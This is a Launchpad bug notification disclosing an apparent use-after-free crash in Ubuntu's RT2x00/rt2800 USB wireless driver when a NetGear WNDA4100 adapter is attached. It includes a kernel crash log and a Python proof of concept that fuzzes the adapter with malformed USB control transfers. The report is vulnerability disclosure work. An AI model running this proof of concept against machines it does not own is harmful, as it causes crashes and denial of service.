This issue was reported publicly to https://lore.kernel.org/linux-
wireless/caov16xesck0-smenjfxvwikqogbj4pqwa2dvjbvwq-g+ntv...@mail.gmail.com/T/#u

Therefore, I am making this bug report public as well.

The new report claims that "Debian systems are not affected.".

If Ubuntu is truly the only distro affected, the Canonical CNA can
assign a CVE. Otherwise, CVE assignment should be made by upstream,
MITRE, or a Root CNA like Red Hat.

To restate this, it is not known if Ubuntu is an affected downstream of
this vulnerability or if the issue truly originates in Ubuntu as the
upstream provider. My hunch is the prior.

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/2073500

Title:
  Ubuntu RT2x00 USB Driver Kernel  Use-After-Free Vulnerability

Status in linux package in Ubuntu:
  New

Bug description:
  Description:

  While performing USB interface fuzzing tests on a NetGear WNDA4100
  network card (Bus 001 Device 018: ID 0846:9013), I observed a system
  crash on multiple PCs running Ubuntu 22.04. The issue appears to be
  related to the USB drivers or kernel handling of the device, as
  indicated by the kernel logs.

  Impact:

  Affected systems include Ubuntu 22.04 running on different hardware
  configurations with the NetGear WNDA4100 network card. This
  vulnerability may allow an attacker to trigger a system crash through
  the USB interface, leading to denial of service.

  Reproduction Steps:

  Connect the NetGear WNDA4100 network card (ID 0846:9013) to a system running 
Ubuntu 22.04.
  Run the provided fuzzing script to interact with the USB interface of the 
network card.
  Observe the system behavior and check for crashes or instability.
  Logs and Error Messages:

  The following are excerpts from the kernel log during the crash:
  [  +0.351900] ------------[ cut here ]------------
  [  +0.000003] WARNING: CPU: 3 PID: 0 at kernel/time/timer.c:1738 
__run_timers+0x2dd/0x310
  [  +0.000007] Modules linked in: veth xt_nat xt_tcpudp xt_conntrack 
nft_chain_nat xt_MASQUERADE nf_nat nf_conntrack_netlink nf_conntrack 
nf_defrag_ipv6 nf_defrag_ipv4 xfrm_user tls xfrm_algo xt_addrtype nft_compat 
nf_tables libcrc32c nfnetlink br_netfilter bridge stp llc ccm 
snd_hda_codec_hdmi snd_hda_codec_realtek snd_hda_codec_generic 
snd_sof_pci_intel_tgl snd_sof_intel_hda_common soundwire_intel 
snd_sof_intel_hda_mlink soundwire_cadence snd_sof_intel_hda snd_sof_pci 
intel_uncore_frequency snd_sof_xtensa_dsp intel_uncore_frequency_common joydev 
overlay snd_sof snd_sof_utils snd_soc_hdac_hda snd_hda_ext_core 
snd_soc_acpi_intel_match snd_soc_acpi soundwire_generic_allocation 
soundwire_bus snd_soc_core snd_compress ac97_bus snd_pcm_dmaengine 
snd_hda_intel snd_intel_dspcfg snd_intel_sdw_acpi x86_pkg_temp_thermal 
snd_hda_codec intel_powerclamp coretemp snd_hda_core snd_hwdep snd_pcm 
kvm_intel snd_seq_midi i915 kvm snd_seq_midi_event rt2800usb snd_rawmidi 
uvcvideo irqbypass iwlmvm rt2x00usb crct10dif_pclmul rt2800lib
  [  +0.000034]  polyval_clmulni videobuf2_vmalloc polyval_generic drm_buddy 
uvc ghash_clmulni_intel rt2x00lib videobuf2_memops sha256_ssse3 ttm snd_seq 
videobuf2_v4l2 sha1_ssse3 aesni_intel binfmt_misc mei_hdcp mei_pxp 
drm_display_helper crypto_simd videodev snd_seq_device pmt_telemetry cryptd 
mac80211 iwlwifi pmt_class intel_rapl_msr nls_iso8859_1 cmdlinepart input_leds 
snd_timer cec rapl huawei_wmi videobuf2_common processor_thermal_device_pci 
ledtrig_audio spi_nor rc_core processor_thermal_device intel_cstate wmi_bmof 
sparse_keymap libarc4 serio_raw mc snd cfg80211 drm_kms_helper mei_me mtd 
processor_thermal_rfim hid_multitouch processor_thermal_mbox i2c_algo_bit mei 
soundcore processor_thermal_rapl intel_vsec intel_rapl_common int3400_thermal 
int3403_thermal int340x_thermal_zone acpi_thermal_rel mac_hid acpi_pad 
sch_fq_codel msr parport_pc ppdev lp parport drm efi_pstore ip_tables x_tables 
autofs4 hid_generic nvme crc32_pclmul nvme_core spi_intel_pci intel_lpss_pci 
i2c_i801 spi_intel xhci_pci intel_lpss nvme_common
  [  +0.000042]  i2c_smbus xhci_pci_renesas idma64 i2c_hid_acpi i2c_hid video 
hid wmi pinctrl_tigerlake
  [  +0.000005] CPU: 3 PID: 0 Comm: swapper/3 Not tainted 6.5.0-35-generic 
#35~22.04.1-Ubuntu
  [  +0.000002] Hardware name: HONOR GLO-GXXX/GLO-GXXX-PCB, BIOS 1.09 06/27/2023
  [  +0.000000] RIP: 0010:__run_timers+0x2dd/0x310
  [  +0.000003] Code: 3e 02 48 85 c0 74 0c 48 8b 78 08 4c 89 ee e8 ba cf ff ff 
65 ff 0d 2b 1e 44 57 0f 85 38 ff ff ff 0f 1f 44 00 00 e9 2e ff ff ff <0f> 0b e9 
0b ff ff ff 41 0f b6 5f 26 80 fb 01 0f 87 44 da ec 00 83
  [  +0.000001] RSP: 0018:ffffaedb4048cea0 EFLAGS: 00010046
  [  +0.000001] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 
0000000000000000
  [  +0.000001] RDX: ffffaedb4048ced0 RSI: 00000000ffff7618 RDI: 
0000000000000000
  [  +0.000001] RBP: ffffaedb4048cf48 R08: 0000000000000000 R09: 
ffff8e5c8f8e11a8
  [  +0.000000] R10: 0000000000000000 R11: 0000000000000000 R12: 
dead000000000122
  [  +0.000001] R13: ffff8e551284a4b0 R14: ffffaedb4048ced0 R15: 
ffff8e5c8f8e1180
  [  +0.000001] FS:  0000000000000000(0000) GS:ffff8e5c8f8c0000(0000) 
knlGS:0000000000000000
  [  +0.000000] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  [  +0.000001] CR2: 00005785fd8f0000 CR3: 000000026241c000 CR4: 
0000000000750ee0
  [  +0.000001] PKRU: 55555554
  [  +0.000001] Call Trace:
  [  +0.000001]  <IRQ>
  [  +0.000002]  ? show_regs+0x6d/0x80
  [  +0.000003]  ? __warn+0x89/0x160
  [  +0.000002]  ? __run_timers+0x2dd/0x310
  [  +0.000002]  ? report_bug+0x17e/0x1b0
  [  +0.000003]  ? handle_bug+0x46/0x90
  [  +0.000002]  ? exc_invalid_op+0x18/0x80
  [  +0.000001]  ? asm_exc_invalid_op+0x1b/0x20
  [  +0.000004]  ? __run_timers+0x2dd/0x310
  [  +0.000002]  run_timer_softirq+0x1d/0x40
  [  +0.000002]  __do_softirq+0xd9/0x349
  [  +0.000002]  ? hrtimer_interrupt+0x11f/0x250
  [  +0.000002]  __irq_exit_rcu+0x75/0xa0
  [  +0.000002]  irq_exit_rcu+0xe/0x20
  [  +0.000001]  sysvec_apic_timer_interrupt+0x92/0xd0
  [  +0.000001]  </IRQ>
  [  +0.000001]  <TASK>
  [  +0.000000]  asm_sysvec_apic_timer_interrupt+0x1b/0x20
  [  +0.000002] RIP: 0010:cpuidle_enter_state+0xda/0x720
  [  +0.000001] Code: 16 06 ff e8 a8 f5 ff ff 8b 53 04 49 89 c7 0f 1f 44 00 00 
31 ff e8 16 c2 04 ff 80 7d d0 00 0f 85 61 02 00 00 fb 0f 1f 44 00 00 <45> 85 f6 
0f 88 f7 01 00 00 4d 63 ee 49 83 fd 09 0f 87 19 05 00 00
  [  +0.000001] RSP: 0018:ffffaedb4017fe18 EFLAGS: 00000246
  [  +0.000001] RAX: 0000000000000000 RBX: ffffcedb3fac0728 RCX: 
0000000000000000
  [  +0.000001] RDX: 0000000000000003 RSI: 0000000000000000 RDI: 
0000000000000000
  [  +0.000000] RBP: ffffaedb4017fe68 R08: 0000000000000000 R09: 
0000000000000000
  [  +0.000001] R10: 0000000000000000 R11: 0000000000000000 R12: 
ffffffffaaed1d60
  [  +0.000000] R13: 0000000000000002 R14: 0000000000000002 R15: 
000000250034e01b
  [  +0.000002]  ? cpuidle_enter_state+0xca/0x720
  [  +0.000001]  ? finish_task_switch.isra.0+0x85/0x2a0
  [  +0.000002]  cpuidle_enter+0x2e/0x50
  [  +0.000002]  call_cpuidle+0x23/0x60
  [  +0.000002]  cpuidle_idle_call+0x11d/0x190
  [  +0.000001]  do_idle+0x82/0xf0
  [  +0.000001]  cpu_startup_entry+0x2a/0x30
  [  +0.000001]  start_secondary+0x129/0x160
  [  +0.000003]  secondary_startup_64_no_verify+0x190/0x19b
  [  +0.000003]  </TASK>
  [  +0.000000] ---[ end trace 0000000000000000 ]---
  [  +0.967206] ieee80211 phy6: rt2800_wait_csr_ready: Error - Unstable hardware
  [  +0.000009] ieee80211 phy6: rt2800usb_set_device_state: Error - Device 
failed to enter state 4 (-5)
  [  +0.180377] usb 3-3: reset high-speed USB device number 5 using xhci_hcd
  [  +0.160690] ieee80211 phy7: rt2x00_set_rt: Info - RT chipset 3593, rev 0402 
detected
  [  +0.012183] ieee80211 phy7: rt2x00_set_rf: Info - RF chipset 000d detected
  [  +0.000223] ieee80211 phy7: Selected rate control algorithm 'minstrel_ht'
  [  +0.001495] rt2800usb 3-3:1.0 wlx100d7f65f855: renamed from wlan0
  [  +0.036098] ieee80211 phy7: rt2x00lib_request_firmware: Info - Loading 
firmware file 'rt2870.bin'
  [  +0.000043] ieee80211 phy7: rt2x00lib_request_firmware: Info - Firmware 
detected - version: 0.36
  [  +0.102320] ieee80211 phy7: rt2800_wait_bbp_ready: Error - BBP register 
access failed, aborting
  [  +0.000005] ieee80211 phy7: rt2800usb_set_device_state: Error - Device 
failed to enter state 4 (-5)
  [  +0.194308] usb 3-3: reset high-speed USB device number 5 using xhci_hcd
  [  +0.164912] ieee80211 phy8: rt2x00_set_rt: Info - RT chipset 3593, rev 0402 
detected
  [  +0.011684] ieee80211 phy8: rt2x00_set_rf: Info - RF chipset 000d detected
  [  +0.000212] ieee80211 phy8: Selected rate control algorithm 'minstrel_ht'
  [  +0.001410] rt2800usb 3-3:1.0 wlx100d7f65f855: renamed from wlan0
  [  +0.025662] ieee80211 phy8: rt2x00lib_request_firmware: Info - Loading 
firmware file 'rt2870.bin'
  [  +0.000039] ieee80211 phy8: rt2x00lib_request_firmware: Info - Firmware 
detected - version: 0.36
  [  +0.105379] ieee80211 phy8: rt2800_wait_bbp_ready: Error - BBP register 
access failed, aborting
  [  +0.000005] ieee80211 phy8: rt2800usb_set_device_state: Error - Device 
failed to enter state 4 (-5)
  [  +0.178163] usb 3-3: reset high-speed USB device number 5 using xhci_hcd
  [  +0.157165] ieee80211 phy9: rt2x00_set_rt: Info - RT chipset 3593, rev 0402 
detected
  [  +0.011625] ieee80211 phy9: rt2x00_set_rf: Info - RF chipset 000d detected
  [  +0.000212] ieee80211 phy9: Selected rate control algorithm 'minstrel_ht'
  [  +0.001473] rt2800usb 3-3:1.0 wlx100d7f65f855: renamed from wlan0
  [  +0.040515] ieee80211 phy9: rt2x00lib_request_firmware: Info - Loading 
firmware file 'rt2870.bin'
  [  +0.000062] ieee80211 phy9: rt2x00lib_request_firmware: Info - Firmware 
detected - version: 0.36
  [  +0.094392] ieee80211 phy9: rt2800_wait_bbp_ready: Error - BBP register 
access failed, aborting
  [  +0.000006] ieee80211 phy9: rt2800usb_set_device_state: Error - Device 
failed to enter state 4 (-5)
  [  +0.178165] usb 3-3: reset high-speed USB device number 5 using xhci_hcd
  [  +0.158058] ieee80211 phy10: rt2x00_set_rt: Info - RT chipset 3593, rev 
0402 detected
  [  +0.012091] ieee80211 phy10: rt2x00_set_rf: Info - RF chipset 000d detected
  [  +0.000209] ieee80211 phy10: Selected rate control algorithm 'minstrel_ht'
  [  +0.001250] rt2800usb 3-3:1.0 wlx100d7f65f855: renamed from wlan0
  [  +0.047440] ieee80211 phy10: rt2x00lib_request_firmware: Info - Loading 
firmware file 'rt2870.bin'
  [  +0.000070] ieee80211 phy10: rt2x00lib_request_firmware: Info - Firmware 
detected - version: 0.36

  POC:
  
--------------------------------------------------------------------------------------------------------
  import usb.core
  import usb.util
  import time
  import random

  
  dev = usb.core.find(idVendor=0x0846, idProduct=0x9013)

  if dev is None:
      raise ValueError("Device not found")

  
  def send_ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_length):
      try:
          data = bytes([0xFF] * data_length)  
          #print(f"Sending: bmRequestType={bmRequestType}, bRequest={bRequest}, 
wValue={wValue}, wIndex={wIndex}, data length={data_length}")
          send = dev.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, 
data)
          print(f"Response length: {len(send)}")
          if len(send) > 300:
              print(f"Received data length > 300: {len(send)}")
              print(f"Sent data: bmRequestType={bmRequestType}, 
bRequest={bRequest}, wValue={wValue}, wIndex={wIndex}, data 
length={data_length}")
              return True  
      except Exception as e:
          print(f"Error: {e}")
      return False  

  
  requests = [
      (0x00, 0x00, 0x0000, 0x0000, 64),
      (0x00, 0x00, 0x0000, 0x0000, 1024),
      (0x00, 0x00, 0x0000, 0x0000, 2048),
      (0x00, 0x00, 0x0000, 0x0000, 512),
      (0x00, 0x00, 0x0000, 0xFFFF, 64),
      (0x00, 0x00, 0x0000, 0xFFFF, 1024),
      (0x00, 0x00, 0x0000, 0xFFFF, 2048),
      (0x00, 0x00, 0x0000, 0xFFFF, 512),
  ]

  
  for bmRequestType, bRequest, wValue, wIndex, data_length in requests:
      send_ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_length)
      time.sleep(0.1) 
      dev.reset()  

  print("Done sending specified requests.")

  
---------------------------------------------------------------------------------------

  I was able to reproduce the issue successfully on both Dell Vostro and
  Honor laptops running Ubuntu 22.04. However, the issue only occurs
  when a NetGear, Inc. WNDA4100 wireless adapter is plugged in. It is
  currently unclear whether the problem is due to the NetGear wireless
  adapter itself or the rt2800 driver, as I do not have additional
  RT2800 wireless adapters to test with. The vulnerability indeed exists
  and can cause the local PC to crash completely. I believe it is highly
  likely that the issue is due to the RT2800 driver.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/2073500/+subscriptions


-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to     : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

Reply via email to